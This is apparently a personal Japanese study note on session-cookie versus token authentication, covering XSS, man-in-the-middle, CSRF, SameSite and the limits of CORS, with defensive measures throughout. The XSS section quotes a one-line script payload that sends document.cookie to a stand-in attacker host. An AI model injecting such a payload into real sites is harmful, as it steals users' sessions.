OIDC Token vs session cookie による認証
session による認証の場合
サーバー側に sessionid - (internal) userid のような session store が必要 (DB なり redis や memcached でも)
認証が必要なエンドポイントへのアクセスでは、毎回 Session: cookie を読んで、その値から DB から userid を引いて~ みたいな処理が必要 (session を保存している DB が単一障害点になる)
session hijack 対応
Set-Cookie header には Secure と HttpOnly attribute をつけようね (XSS と CSRF による session hijack 防止)
Session ID の推測
連番みたいな推測しやすい sessionid を発行したり、短い sessionId だと ブルートフォースアタックで session が乗っ取られる
XSS
アプリケーションにXSS脆弱性があり、cookie に HttpOnly がなくて javascript から cookie が読み取れてしまう場合
攻撃者がこういう感じのスクリプトをアプリケーションにアップロード <script>window.location="https://hogehoge.com?"+document.cookie;</script>
アップロードした上の攻撃コードが記事一覧画面とかに(HTML / CSS encode されずに) 表示され、JSが実行されてしまうと、攻撃者の用意しておいたWebサイトにcookieが飛んでしまい、sessionが盗まれてしまう
Man in the middle
ユーザーが攻撃者の用意しておいたproxyサーバーを使ってしまっているとき
Secure 属性のない cookie を使い、https じゃないサーバーにアクセスするとリクエストが攻撃者に丸見え
CSRF
攻撃者が攻撃対象のサイトに対して変なデータをPOSTするJSを、自分のサイトに埋めこんでおく
CSRF-Token の検証
Same-site cookie
Domain はどのドメインに cookie を送信するかを指定するもの、CSRF での POST 先が攻撃対象サイトなので cookie は送信されて、POSTが通ってしまう
subdomain は same-site ではないぞ
CORS は CSRF (によってユーザーしか知り得ない情報を盗み見るのを防ぐことはできるが、POSTすること自体は防ぐことができない)
Access-Control-Allow-Origin ヘッダと Origin ヘッダの比較は、サーバー側にリクエストを送ってそのレスポンスをJSに返す前にブラウザがチェックを行う。なのでデータ自体は送信されてしまう。
本当に? pre-fright request の時点でバリデーションに失敗するからリクエストは飛ばないんじゃない? simple request (例えば POST で Content-Type が w-url-encoded (なんだっけ..) だと pre-flight は飛ばない、こういう場合はCSRF を防げない
CORS はあくまで異なる origin から返ってきた値を JavaScript が参照できないという話
CORS やってても http なら間に proxy を置いてログを見ればいいのでやっぱ https やな